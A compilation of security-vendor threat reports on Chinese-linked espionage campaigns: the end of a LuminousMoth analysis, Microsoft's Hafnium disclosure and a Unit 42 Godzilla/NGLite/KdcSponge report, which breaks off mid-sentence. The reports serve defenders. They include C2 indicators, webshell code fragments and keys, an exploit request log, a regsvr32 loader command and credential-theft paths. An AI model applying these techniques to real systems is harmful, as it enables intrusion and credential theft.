malicious DLL due to its icon, which raises less suspicions about +the original documents being tampered with. However, this means that the infection was limited only to USB +drives that have Word documents stored on them, and might explain the quick move to a more pervasive +approach that infects drives regardless of their content. +5/14 +Post exploitation tool: Fake Zoom application +The attackers deployed an additional malicious tool on some of the infected systems in Myanmar. Its purpose is +to scan the infected systems for files with predefined extensions and exfiltrate them to a C2 server. Interestingly, +this stealer impersonates the popular Zoom video telephony software. One measure to make it seem benign is a +valid digital signature provided with the binary along with a certificate that is owned by Founder Technology, a +subsidiary of Peking University +s Founder Group, located in Shanghai. +Valid certificate of the fake Zoom application +To facilitate the exfiltration of data, the stealer parses a configuration file called +zVideoUpdate.ini +. While it is +unclear how the malware is written to disk by the attackers, it is vital that the .ini file is dropped alongside it and +placed in the same directory in order to work. The configuration parameters that comprise this file are as follows: +Parameter +Name +Purpose +meeting +Undetermined integer value that defaults to 60. +ssb_sdk +Undetermined integer value that defaults to 60. +6/14 +zAutoUpdate +URL of the C2 server which the stolen data will be uploaded to. +XmppDll +Path to the utility used to archive exfiltrated files. +zKBCrypto +List of exfiltrated file extensions that are searched in target directories. The extensions of +interest are delimited with the + character. +zCrashReport +Suffix string appended to the name of the staging directory used to host exfiltrated files +before they are archived. +zWebService +Path prefix for the exfiltration staging directory. +zzhost +Path to the file that will hold a list of hashes corresponding to the files collected for +exfiltration. +ArgName +AES key for configuration string encryption. +Version +AES IV for configuration string encryption. +zDocConverter +Path #1 to a directory to look for files with the extension intended for exfiltration +zTscoder +Path #2 to a directory to look for files with the extension intended for exfiltration +zOutLookIMutil +Path #3 to a directory to look for files with the extension intended for exfiltration +Each field in the configuration file (with the exception of Version, ArgName and zCrashReport) is encoded with +Base64. While the authors incorporated logic and parameters that allow the decryption of some of the fields +specified above with the AES algorithm, it remains unused. +The stealer uses the parameters in order to scan the three specified directories (along with root paths of fixed +and removable drives) and search for files with the extensions given in the zKBCrypto parameter. Matching files +will then be copied to a staging directory created by the malware in a path constructed with the following +structure: +\%Y-%m-%d %H-%M-%S +. The string format in the directory +s name +represents the time and date of the malware +s execution. +In addition, the malware collects the metadata of the stolen files. One piece of data can be found as a list of +original paths corresponding to the exfiltrated files that is written to a file named +VideoCoingLog.txt +. This file +resides in the aforementioned staging directory. Likewise, a second file is used to hold the list of hashes +corresponding to the exfiltrated files and placed in the path specified in the zzhost parameter. +After collection of the targeted files and their metadata, the malware executes an external utility in order to +archive the staging directory into a .rar file that will be placed in the path specified in the zWebService +parameter. The malware assumes the existence of the utility in a path specified under the XmppDll parameter, +suggesting the attackers have prior knowledge of the infected system and its pre-installed applications. +Finally, the malware seeks all files with a .rar extension within the zWebService directory that should be +transmitted to the C2. The method used to send the archive makes use of a statically linked CURL library, which +sets the parameters specified below when conducting the transaction to the server. The address of the C2 is +7/14 +taken from the zAutoUpdate parameter. +CURL logic used to issue the archive of exfiltrated files to the C&C +Post exploitation tool: Chrome Cookies Stealer +The attackers deployed another tool on some infected systems that steals cookies from the Chrome browser. +This tool requires the local username as an argument, as it is needed to access two files containing the data to +be stolen: +C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Default\Cookies +C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Local State +The stealer starts by extracting the encrypted_key value stored in the +Local State + file. This key is base64 +encoded and used to decode the cookies stored in the +Cookies + file. The stealer uses the CryptUnprotectData +API function to decrypt the cookies and looks for eight specific cookie values: SID, OSID, HSID, SSID, LSID, +APISID, SAPISID and ACCOUNT_CHOOSER: +8/14 +Cookie values the stealer looks for +Once found, the malware simply displays the values of those cookies in the terminal. The Google policy +available here explains that these cookies are used to authenticate users: +Google policy explaining the purpose of the cookies +During our test, we set up a Gmail account and were able to duplicate our Gmail session by using the stolen +cookies. We can therefore conclude this post exploitation tool is dedicated to hijacking and impersonating the +Gmail sessions of the targets. +Command and Control +For C2 communication, some of the LuminousMoth samples contacted IP addresses directly, whereas others +communicated with the domain +updatecatalogs.com +103.15.28[.]195 +202.59.10[.]253 +Infrastructure ties from those C2 servers helped reveal additional domains related to this attack that +impersonate known news outlets in Myanmar, such as MMTimes, 7Day News and The Irrawaddy. Another +domain +mopfi-ferd[.]com + also impersonated the Foreign Economic Relations Department (FERD) of the +Ministry of Planning, Finance and Industry (MOPFI) in Myanmar. +9/14 +mmtimes[.]net +mmtimes[.]org +7daydai1y[.]com +irrawddy[.]com +mopfi-ferd[.]com +Mopfi-ferd[.]com + resolved to an IP address that was associated with a domain masquerading as the Zoom API. +Since we have seen the attackers deploying a fake Zoom application, it is possible this look-alike domain was +used to hide malicious Zoom traffic, although we have no evidence of this. +Potentially related Zoom look-alike domains +Who were the targets? +10/14 +We were able to identify a large number of targets infected by LuminousMoth, almost all of which are from the +Philippines and Myanmar. We came across approximately 100 victims in Myanmar, whereas in the Philippines +the number was much higher, counting nearly 1,400 victims. It seems however that the actual targets were only +a subset of these that included high-profile organizations, namely government entities located both within those +countries and abroad. +It is likely that the high rate of infections is due to the nature of the LuminousMoth attack and its spreading +mechanism, as the malware propagates by copying itself to removable drives connected to the system. +Nevertheless, the noticeable disparity between the extent of this activity in both countries might hint to an +additional and unknown infection vector being used solely in the Philippines. It could, however, simply be that +the attackers are more interested in going after targets from this region. +Connections to HoneyMyte +Over the course of our analysis, we noticed that LuminousMoth shares multiple similarities with the HoneyMyte +threat group. Both groups have been covered extensively in our private reports, and further details and analysis +of their activity are available to customers of our private APT reporting service. For more information, contact: +intelreports@kaspersky.com. +LuminousMoth and HoneyMyte have similar targeting and TTPs, such as the usage of DLL side-loading and +Cobalt Strike loaders, and a similar component to LuminousMoth +s Chrome cookie stealer was also seen in +previous HoneyMyte activity. Lastly, we found infrastructure overlaps between the C2 servers used in the +LuminousMoth campaign and an older one that has been attributed to HoneyMyte. +Some of LuminousMoth +s malicious artifacts communicate with +updatecatalogs[.]com +, which resolves to the +same IP address behind +webmail.mmtimes[.]net +. This domain was observed in a campaign that dates back to +early 2020, and was even found on some of the systems that were later infected with LuminousMoth. In this +campaign, a legitimate binary ( +FmtOptions.exe +) sideloads a malicious DLL called +FmtOptions.dll +, which then +decodes and executes the contents of the file +work.dat +. This infection flow also involves a service called +yerodns.dll + that implements the same functionality as +FmtOptions.dll +The domain +webmail.mmtimes[.]net + previously resolved to the IP +45.204.9[.]70 +. This address is associated +with another MMTimes look-alike domain used in a HoneyMyte campaign during 2020: +mmtimes[.]org +. In this +case, the legitimate executable +mcf.exe + loads +mcutil.dll +. The purpose of +mcutil.dll + is to decode and execute +mfc.ep +, a PlugX backdoor that communicates with +mmtimes[.]org +. Parts of this campaign were also covered +in one of our private reports discussing HoneyMyte +s usage of a watering hole to infect its victims. +Therefore, based on the above findings, we can assess with medium to high confidence that the LuminousMoth +activity is indeed connected to HoneyMyte. +11/14 +Connection between HoneyMyte and LuminousMoth C2s +Conclusions +LuminousMoth represents a formerly unknown cluster of activity that is affiliated to a Chinese-speaking actor. As +described in this report, there are multiple overlaps between resources used by LuminousMoth and those +sighted in previous activity of HoneyMyte. Both groups, whether related or not, have conducted activity of the +same nature + large-scale attacks that affect a wide perimeter of targets with the aim of hitting a few that are of +interest. +On the same note, this group +s activity and the apparent connections may hint at a wider phenomenon observed +during 2021 among Chinese-speaking actors, whereby many are re-tooling and producing new and unknown +malware implants. This allows them to obscure any ties to their former activities and blur their attribution to +12/14 +known groups. With this challenge in mind, we continue to track the activity described in this publication with an +eye to understanding its evolution and connection to previous attacks. +Indicators of Compromise +Version.dll payloads +Hashes +Compilation Date +0f8b7a64336b4315cc0a2e6171ab027e +2d0296ac56db3298163bf3f6b622fdc319a9be23 +59b8167afba63b9b4fa4369e6664f274c4e2760a4e2ae4ee12d43c07c9655e0f +Dec 24 09:20:16 2020 +37054e2e8699b0bdb0e19be8988093cd +5e45e6e113a52ba420a35c15fbaa7856acc03ab4 +a934ae0274dc1fc9763f7aa51c3a2ce1a52270a47dcdd80bd5b9afbc3a23c82b +Dec 24 09:19:51 2020 +c05cdf3a29d6fbe4e3e8621ae3173f08 +75cd21217264c3163c800e3e59af3d7db14d76f8 +869e7da2357c673dab14e9a64fb69691002af5b39368e6d1a3d7fda242797622 +Dec 29 11:45:41 2020 +5ba1384b4edfe7a93d6f1166da05ff6f +6d18970811821125fd402cfa90210044424e223a +857c676102ea5dda05899d4e386340f6e7517be2d2623437582acbe0d46b19d2 +Jan 07 11:18:38 2021 +afb777236f1e089c9e1d33fce46a704c +cf3582a6cdac3e254c017c8ce36240130d67834a +1ec88831b67e3f0d41057ba38ccca707cb508fe63d39116a02b7080384ed0303 +Jan 14 11:18:50 2021 +wwlib.dll payloads +Hashes +Compilation Date +4fbc4835746a9c64f8d697659bfe8554 +b43d7317d3144c760d82c4c7506eba1143821ac1 +95bcc8c3d9d23289b4ff284cb685b741fe92949be35c69c1faa3a3846f1ab947 +Dec 24 10:25:39 2020 +Related payloads +Hashes +Name +Compilation +Date +b31008f6490ffe7ba7a8edb9e9a8c137 +c1945fd976836ba2f3fbeafa276f60c3f0e9a51c +4a4b976991112b47b6a3d6ce19cc1c4f89984635ed16aea9f88275805b005461 +FmtOptions.dll +Jan 11 +10:00:42 +2021 +13/14 +ac29cb9c702d9359ade1b8a5571dce7d +577ad54e965f7a21ba63ca4a361a3de86f02e925 +d8de88e518460ee7ffdffaa4599ccc415e105fc318b36bc8fe998300ee5ad984 +yerodns.dll +Oct 29 +10:33:20 +2019 +afe30b5dd18a114a9372b5133768151c +9a6f97300017a09eb4ea70317c65a18ea9ac49bd +cf757b243133feab2714bc0da534ba21cbcdde485fbda3d39fb20db3a6aa6dee +mcutil.dll +Jun 13 +16:35:46 +2019 +95991f445d846455b58d203dac530b0b +cee6afa1c0c8183900b76c785d2989bd1a904ffb +f27715b932fb83d44357dc7793470b28f6802c2dc47076e1bc539553a8bfa8e0 +mcutil.dll +Feb 21 +09:41:11 +2020 +Post exploitation tools +Hashes +Name +Compilation +Date +c727a8fc56cedc69f0cfd2f2f5796797 +75d38bf8b0053d52bd5068adf078545ccdac563f +361ccc35f7ff405eb904910de126a5775de831b4229a4fdebfbacdd941ad3c56 +ZoomVideoApp.exe +Mar 02 +10:51:31 +2021 +Domains and IPs +103.15.28[.]195 +202.59.10[.]253 +updatecatalogs[.]com +mopfi-ferd[.]com +mmtimes[.]net +mmtimes[.]org +7daydai1y[.]com +irrawddy[.]com +LuminousMoth APT: Sweeping attacks for the chosen few +14/14 +New nation-state cyberattacks +blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks +March 2, 2021 +Today, we +re sharing information about a state-sponsored threat actor identified by the +Microsoft Threat Intelligence Center (MSTIC) that we are calling Hafnium. Hafnium +operates from China, and this is the first time we +re discussing its activity. It is a highly +skilled and sophisticated actor. +Historically, Hafnium primarily targets entities in the United States for the purpose of +exfiltrating information from a number of industry sectors, including infectious disease +researchers, law firms, higher education institutions, defense contractors, policy think tanks +and NGOs. While Hafnium is based in China, it conducts its operations primarily from leased +virtual private servers (VPS) in the United States. +Recently, Hafnium has engaged in a number of attacks using previously unknown exploits +targeting on-premises Exchange Server software. To date, Hafnium is the primary actor +ve seen use these exploits, which are discussed in detail by MSTIC here. The attacks +included three steps. First, it would gain access to an Exchange Server either with stolen +passwords or by using the previously undiscovered vulnerabilities to disguise itself as +someone who should have access. Second, it would create what +s called a web shell to control +the compromised server remotely. Third, it would use that remote access + run from the +U.S.-based private servers + to steal data from an organization +s network. +re focused on protecting customers from the exploits used to carry out these attacks. +Today, we released security updates that will protect customers running Exchange Server. +We strongly encourage all Exchange Server customers to apply these updates immediately. +Exchange Server is primarily used by business customers, and we have no evidence that +Hafnium +s activities targeted individual consumers or that these exploits impact other +Microsoft products. +Even though we +ve worked quickly to deploy an update for the Hafnium exploits, we know +that many nation-state actors and criminal groups will move quickly to take advantage of any +unpatched systems. Promptly applying today +s patches is the best protection against this +attack. +In addition to offering new protections for our customers, we +ve briefed appropriate U.S. +government agencies on this activity. +This is the eighth time in the past 12 months that Microsoft has publicly disclosed nationstate groups targeting institutions critical to civil society; other activity we disclosed has +targeted healthcare organizations fighting Covid-19, political campaigns and others involved +in the 2020 elections, and high-profile attendees of major policymaking conferences. +We are encouraged that many organizations are voluntarily sharing data with the world, +among each other and with government institutions committed to defense. We +re grateful to +researchers at Volexity and Dubex who notified us about aspects of this new Hafnium activity +and worked with us to address it in a responsible way. We need more information to be +shared rapidly about cyberattacks to enable all of us to better defend against them. That is +why Microsoft President Brad Smith recently told the U.S. Congress that we must take steps +to require reporting of cyber incidents. +The exploits we +re discussing today were in no way connected to the separate SolarWindsrelated attacks. We continue to see no evidence that the actor behind SolarWinds discovered +or exploited any vulnerability in Microsoft products and services. +Godzilla Webshell +unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge +November 8, 2021 +By Robert Falcone, Jeff White and Peter Renals +November 7, 2021 at 6:00 PM +Category: Unit 42 +Tags: APT, backdoor, Credential Harvesting, credential stealer, KdcSponge, ManageEngine, NGLite, TiltedTemple, Trojan, Zoho +ManageEngine +This post is also available in: + (Japanese) +Executive Summary +On Sept. 16, 2021, the US Cybersecurity and Infrastructure Security Agency (CISA) released an alert warning that advanced persistent threat +(APT) actors were actively exploiting newly identified vulnerabilities in a self-service password management and single sign-on solution known +as ManageEngine ADSelfService Plus. The alert explained that malicious actors were observed deploying a specific webshell and other +techniques to maintain persistence in victim environments; however, in the days that followed, we observed a second unrelated campaign carry +out successful attacks against the same vulnerability. +As early as Sept. 17 the actor leveraged leased infrastructure in the United States to scan hundreds of vulnerable organizations across the +internet. Subsequently, exploitation attempts began on Sept. 22 and likely continued into early October. During that window, the actor +successfully compromised at least nine global entities across the technology, defense, healthcare, energy and education industries. +Following initial exploitation, a payload was uploaded to the victim network which installed a Godzilla webshell. This activity was consistent +across all victims; however, we also observed a smaller subset of compromised organizations who subsequently received a modified version of a +new backdoor called NGLite. The threat actors then used either the webshell or the NGLite payload to run commands and move laterally to +other systems on the network, while they exfiltrated files of interest simply by downloading them from the web server. Once the actors pivoted +to a domain controller, they installed a new credential-stealing tool that we track as KdcSponge. +Both Godzilla and NGLite were developed with Chinese instructions and are publicly available for download on GitHub. We believe threat +actors deployed these tools in combination as a form of redundancy to maintain access to high-interest networks. Godzilla is a functionalityrich webshell that parses inbound HTTP POST requests, decrypts the data with a secret key, executes decrypted content to carry out additional +functionality and returns the result via a HTTP response. This allows attackers to keep code likely to be flagged as malicious off the target +system until they are ready to dynamically execute it. +NGLite is characterized by its author as an +anonymous cross-platform remote control program based on blockchain technology. + It leverages +New Kind of Network (NKN) infrastructure for its command and control (C2) communications, which theoretically results in anonymity for its +users. It's important to note that NKN is a legitimate networking service that uses blockchain technology to support a decentralized network of +peers. The use of NKN as a C2 channel is very uncommon. We have seen only 13 samples communicating with NKN altogether + nine NGLite +samples and four related to a legitimate open-source utility called Surge that uses NKN for file sharing. +Finally, KdcSponge is a novel credential-stealing tool that is deployed against domain controllers to steal credentials. KdcSponge injects itself +into the Local Security Authority Subsystem Service (LSASS) process and will hook specific functions to gather usernames and passwords from +accounts attempting to authenticate to the domain via Kerberos. The malicious code writes stolen credentials to a file but is reliant on other +capabilities for exfiltration. +Palo Alto Networks customers are protected against this campaign through the following: +Cortex XDR local analysis blocks the NGLite backdoor. +All known samples (Dropper, NGLite, KdcSponge) are classified as malware in WildFire. +Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central or ManageEngine +ServiceDeskPlus Servers across customer networks. +Initial Access +Beginning on Sept. 17 and continuing through early October, we observed scanning against ManageEngine ADSelfService Plus servers. +Through global telemetry, we believe that the actor targeted at least 370 Zoho ManageEngine servers in the United States alone. Given the +scale, we assess that these scans were largely indiscriminate in nature as targets ranged from education to Department of Defense entities. +1/11 +Upon obtaining scan results, the threat actor transitioned to exploitation attempts on Sept. 22. These attempts focused on CVE-2021-40539, +which allows for REST API authentication bypass with resultant remote code execution in vulnerable devices. To achieve this result, the actors +delivered uniquely crafted POST statements to the REST API LicenseMgr. +While we lack insight into the totality of organizations that were exploited during this campaign, we believe that, globally, at least nine entities +across the technology, defense, healthcare, energy and education industries were compromised. Following successful exploitation, the actor +uploaded a payload which deployed a Godzilla webshell, thereby enabling additional access to a victim network. The following leased IP +addresses in the United States were observed interacting with compromised servers: +24.64.36[.]238 +45.63.62[.]109 +45.76.173[.]103 +45.77.121[.]232 +66.42.98[.]156 +140.82.17[.]161 +149.28.93[.]184 +149.248.11[.]205 +199.188.59[.]192 +Following the deployment of the webshell, which appears consistent across all victims, we also identified the use of additional tools deployed in +a subset of compromised networks. Specifically, the actors deployed a custom variant of an open-source backdoor called NGLite and a +credential-harvesting tool we track as KdcSponge. The following sections provide detailed analysis of these tools. +Malware +At the time of exploitation, two different executables were saved to the compromised server: ME_ADManager.exe and ME_ADAudit.exe. The +ME_ADManager.exe file acts as a dropper Trojan that not only saves a Godzilla webshell to the system, but also installs and runs the other +executable saved to the system, specifically ME_ADAudit.exe. The ME_ADAudit.exe executable is based on NGLite, which the threat actors use +as their payload to run commands on the system. +ME_ADManager.exe Dropper +After initial exploitation, the dropper is saved to the following path: +c:\Users\[username]\AppData\Roaming\ADManager\ME_ADManager.exe +Analysis of this file revealed that the author of this payload did not remove debug symbols when building the sample. Thus, the following debug +path exists within the sample and suggests the username pwn was used to create this payload: +c:\Users\pwn\documents\visual studio 2015\Projects\payloaddll\Release\cmd.pdb +Upon execution, the sample starts off by creating the following generic mutex found in many code examples freely available on the internet, +which is meant to avoid running more than one instance of the dropper: +cplusplus_me +The dropper then attempts to write a hardcoded Godzilla webshell, which we will provide a detailed analysis of later in this report, to the +following locations: +../webapps/adssp/help/admin-guide/reports.jsp +c:/ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide/reports.jsp +../webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp +c:/ManageEngine/ADSelfService Plus/webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp +The dropper then creates the folder %APPDATA%\ADManager and copies itself to %APPDATA%\ADManager\ME_ADManager.exe before +creating the following registry keys to persistently run after reboot: +Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe : %APPDATA%\ADManager\ME_ADManager.exe +Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe : %SYSTEM32%\ME_ADAudit.exe +The dropper then copies ADAudit.exe from the current directory to the following path and runs the file with WinExec: +%SYSTEM32%\ME_ADAudit.exe +The dropper does not write the ME_ADAudit.exe file to disk, meaning the threat actor must upload this file to the server prior to the execution +of the dropper, likely as part of the initial exploitation of the CVE-2021-40539 vulnerability. During our analysis of multiple incidents, we +found that the ME_ADAudit.exe sample maintained a consistent SHA256 hash of +805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f, therefore suggesting that the actor deployed the same customized +version of the NGLite backdoor against multiple targets. +2/11 +As mentioned previously, the initial dropper contains a Java Server Page (JSP) webshell hardcoded within it. Upon analysis of the webshell, it +was determined to be the Chinese-language Godzilla webshell V3.00+. The Godzilla webshell was developed by user BeichenDream, who stated +they created this webshell because the ones available at the time would frequently be detected by security products during red team +engagements. As such, the author advertises it will avoid detection by leveraging AES encryption for its network traffic and that it maintains a +very low static detection rate across security vendor products. +Figure 1. Detections on VirusTotal for Godzilla webshells. +s no surprise that the Godzilla webshell has been adopted by regional threat groups during their intrusions, as it offers more functionality +and network evasion than other webshells used by the same groups, such as ChinaChopper. +The JSP webshell itself is fairly straightforward in terms of functionality and maintains a lightweight footprint. Its primary function is to parse +an HTTP POST, decrypt the content with the secret key and then execute the payload. This allows attackers to keep code likely to be flagged as +malicious off the target system until they are ready to dynamically execute it. +The below image shows the initial part of the default JSP webshell as well as the decrypt function. +Figure 2. Header of a default Godzilla JSP webshell. +Of note are the variables xc and pass in the first and second lines of the code shown in Figure 2. These are the main components that change +each time an operator generates a new webshell, and the variables represent the secret key used for AES decryption within that webshell. +When you generate the webshell manually, you specify a plaintext pass and key. By default, these are pass and key. +3/11 +Figure 3. Godzilla default webshell values. +To figure out how these are presented in the webshell itself, we can take a look at the Godzilla JAR file. +Below, you can see the code substitutes the strings in one of the embedded webshell templates under the +/shells/cryptions/JavaAES/GenerateShellLoder function. +Figure 4. GenerateShellLoder function in Generate.class file. +Thus we know the xc variable in the webshell will be the AES secret key, as indicated in the template. +String xc="{secretKey}"; String pass="{pass}"; String md5=md5(pass+xc); +We observed that the xc value appears to be a hash, and under the /core/shell/ShellEntity.class file, we can see the code takes the first 16 +characters of the MD5 hash for a plaintext secret key. +public String getSecretKeyX() +return functions.md5(getSecretKey()).substring(0, 16); +With that, we know then that the xc value of 3c6e0b8a9c15224a is the first 16 characters of the MD5 hash for the word key. +Given this, the xc and pass variables are the two primary fields that can be used for tracking and attempting to map activity across incidents. +For the purpose of this blog, we generated a Godzilla webshell with the default options for analysis; however, the only differences between the +default one and the ones observed in attacks are different xc and pass values. +One important characteristic of this webshell is that the author touts the lack of static detection and has tried to make this file not stand out +through avoiding keywords or common structures that might be recognized by security product signatures. One particularly interesting static +evasion technique is the use of a Java ternary conditional operator to indicate decryption. +The conditional here is m?1:2 + m is a boolean value passed to this function, as shown previously in Figure 2. If m is True, then the first +expression constant (1) is used. Otherwise, the second (2) is passed. Referring to the Java documentation, 1 is ENCRYPT_MODE, whereas 2 is +DECRYPT_MODE. +Figure 5. JavaX crypto constants meaning. +When the webshell executes this function x, it does not set the value of m, thus forcing m to False and setting it to decrypt. +4/11 +response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true))); +To understand the capabilities of Godzilla then, we can take a look in /shells/payloads/java/JavaShell.class. This class file contains all of the +functions provided to the operator. Below is an example of the getFile function. +Figure 6. getFile function payload for Godzilla. +Payload functions: +getFile +downloadFile +getBasicsInfo +uploadFile +copyFile +deleteFile +newFile +newDir +currentDir +currentUserName +bigFileUpload +bigFileDownload +getFileSize +execCommand +getOsInfo +moveFile +getPayload +fileRemoteDown +setFileAttr +As evidenced by the names of the functions, the Godzilla webshell offers numerous payloads for navigating remote systems, transferring data to +and from, remote command execution and enumeration. +These payloads will be encrypted with the secret key previously described, and the operating software will send an HTTP POST to the +compromised system containing the data. +Additionally, if we examine the core/ui/component/dialog/ShellSetting.class file (shown below), the initAddShellValue() function contains the +default configuration settings for remote network access. Therefore, elements such as static HTTP headers and User-Agent strings can be +identified in order to aid forensic efforts searching web access logs for potential compromise. +private void initAddShellValue() { +this.shellContext = new ShellEntity(); +this.urlTextField.setText("http://127.0.0.1/shell.jsp"); +this.passwordTextField.setText("pass"); +this.secretKeyTextField.setText("key"); +this.proxyHostTextField.setText("127.0.0.1"); +this.proxyPortTextField.setText("8888"); +this.connTimeOutTextField.setText("60000"); +this.readTimeOutTextField.setText("60000"); +this.remarkTextField.setText("??"); +this.headersTextArea.setText("User-Agent: Mozilla/5.0 (Windows NT +10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: +zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n"); +this.leftTextArea.setText(""); +this.rightTextArea.setText(""); +5/11 +To illustrate, below is a snippet of the web server access logs that show the initial exploit using the Curl application and sending the custom +URL payload to trigger the CVE-2021-40539 vulnerability. It then shows the subsequent access of the Godzilla webshell, which has been placed +into the hardcoded paths by the initial dropper. By reviewing the User-Agent, we can determine that the time from exploit to initial webshell +access took just over four minutes for the threat actor. +- /./RestAPI/LicenseMgr "-" X.X.X.X Y.Y.Y.Y POST [00:00:00] - - 200 "curl/7.68.0" +- /help/admin-guide/reports.jsp "-" X.X.X.X Y.Y.Y.Y POST [+00:04:07] - - 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) +Gecko/20100101 Firefox/84.0" +Custom NGLite +NGLite is an open-source backdoor written in the Go language (specifically Go version 1.13). It is available for download from a public GitHub +repository. NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are +standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate +between the backdoor and the actors. +The NKN touts that their decentralized network uses a public blockchain and can support communication between millions of peers, each of +which are identified by a unique NKN address instead of the typical network identifiers, such as IP addresses. Therefore, the immediate IP +address that the NGLite tool communicates with in its C2 channel is just a peer in the decentralized network and is unlikely to represent the +threat actor +s network location. This design makes detection and prevention of the NGLite C2 communication channel difficult. +Fortunately, the use of NKN as a C2 channel is very uncommon. We have seen only 13 samples communicating with NKN altogether + nine +NGLite samples and four related to an open-source utility called Surge that uses NKN for file sharing. Eight of the nine known NGLite samples +were scanned by VirusTotal. Four were undetected, three were detected by one antivirus and the remaining sample was detected by five. This +low detection rate suggests that NGLite had very little antivirus coverage during this attack campaign. +As mentioned in the previous section, the dropper creates registry keys and executes a custom variant of the NGLite backdoor (SHA256: +805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f) saved at the following path: +C:\Windows\system32\ME_ADAudit.exe +The data structures within the Go-based backdoor contain the following path, which is used to store the main source code for this custom +variant of NGLite on the developers + system: +/mnt/hgfs/CrossC2-2.2/src/ng.com/lprey/main.go +Based on this path, one might surmise that the actor used CrossC2 to build a cross platform Cobalt Strike C2 payload; however, we have no +reason to believe that this payload is actually based on CrossC2, as the payload is a customized version of the publicly available NGLite +backdoor. +It is possible that the threat actors included the CrossC2 string in the path as a misdirection, hoping to confuse threat analysts into thinking +they are delivering a Cobalt Strike payload. We have seen the following NGLite samples using this same source code path dating back to Aug. +11, which suggests that this threat actor has been using this tool for several months: +3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd +5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755 +3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d +The custom NGLite sample used in this campaign checks the command line arguments for g or group value. If this switch is not present, the +payload will use the default string 7aa7ad1bfa9da581a7a04489896279517eef9357b81e406e3aee1a66101fe824 in what NGLite refers to as its +seed identifier. +The payload will create what it refers to as a prey id, which is generated by concatenating the MAC address of the system network interface card +(NIC) and IPv4 address, with a hyphen (-) separating the two. This prey identifier will be used in the C2 communications. +The NGLite payload will use the NKN decentralized network for C2 communications. See the NKN client configuration in the sample below: +6/11 +Figure 7. Embedded NKN client configuration. +The sample first starts by reaching out to seed.nkn[.]org over TCP/30003, specifically with an HTTP POST request that is structured as +follows: +Figure 8. Initial NKN HTTP POST. +It also will send HTTP POST requests with monitor_03 as the prey id, as seen in the following: +Figure 9. HTTP Post containing +prey id. +The seed.nkn[.]org server responds to this request with the [prey id (MAC-IPv4)] within the JSON structured as follows: +{"id":"nkn-sdk-go","jsonrpc":"2.0","result": +{"addr":"66.115.12.89:30002","id":"223b4f7f4588af02badaa6a83e402b33dea0ba8908e4cd6008f84c2b98a6a7de","pubkey":"38ce48a2a3cffded7c +This suggests the payload will communicate with the peer at 66.115.12.89 over TCP/30003. The seed.nkn[.]org server then responds to the +monitor_03 request with the following, which suggests the payload will communicate with 54.204.73.156 over TCP/30003: +{"id":"nkn-sdk-go","jsonrpc":"2.0","result": +{"addr":"54.204.73.156:30002","id":"517cb8112456e5d378b0de076e85e80afee3c483d18c30187730d15f18392ef9","pubkey":"99bb5d3b9b609a31c +After obtaining the response from seed.nkn[.]org, the payload will issue an HTTP GET request to the IP address and TCP port provided in the +addr field within the JSON. These HTTP requests will appear as follows, but keep in mind that these systems are not actor-controlled; rather, +they are just the first peer in a chain of peers that will eventually return the actor +s content: +7/11 +Figure 10. NKN peering. +Eventually, the network communications between the custom NGLite client and server are encrypted using AES with the following key: +WHATswrongwithUu +The custom NGLite sample will start by sending the C2 an initial beacon that contains the result of the whoami command with the string +#windows concatenated, as seen in the following: +[username]#windows +After sending the initial beacon, the NGLite sample will run a sub-function called Preylistener that creates a server that listens for inbound +requests. The sample will also listen for inbound communications and will attempt to decrypt them using a default AES key of +1234567890987654. It will run the decrypted contents as a command via the Go method os/exec.Command. The results are then encrypted +using the same AES key and sent back to the requester. +Post-exploitation Activity +Upon compromising a network, the threat actor moved quickly from their initial foothold to gain access to other systems on the target +networks by running commands via their NGLite payload and the Godzilla webshell. After gaining access to the initial server, the actors +focused their efforts on gathering and exfiltrating sensitive information from local domain controllers, such as the Active Directory database +file (ntds.dit) and the SYSTEM hive from the registry. Shortly after, we observed the threat actors installing the KdcSponge credential stealer, +which we will discuss in detail next. Ultimately, the actor was interested in stealing credentials, maintaining access and gathering sensitive files +from victim networks for exfiltration. +Credential Harvesting and KdcSponge +During analysis, Unit 42 found logs that suggest the threat actors used PwDump and the built-in comsvcs.dll to create a mini dump of the +lsass.exe process for credential theft; however, when the actor wished to steal credentials from a domain controller, they installed their custom +tool that we track as KdcSponge. +The purpose of KdcSponge is to hook API functions from within the LSASS process to steal credentials from inbound attempts to authenticate +via the Kerberos service ( +KDC Service +). KdcSponge will capture the domain name, username and password to a file on the system that the +threat actor would then exfiltrate manually through existing access to the server. +We know of two KdcSponge samples, both of which were named user64.dll. They had the following SHA256 hashes: +3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090 +b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665 +To launch the KdcSponge credential stealer, the threat actor will run the following command to load and execute the malicious module: +regsvr32 /s user64.dll +Upon first execution, the regsvr32 application runs the DllRegisterServer function exported by user64.dll. The DllRegisterServer function +resolves the SetSfcFileException function within sfc_os.dll and attempts to disable Windows File Protection (WFP) on the +c:\windows\system32\kdcsvc.dll file. It then attempts to inject itself into the running lsass.exe process by: +1. Opening the lsass.exe process using 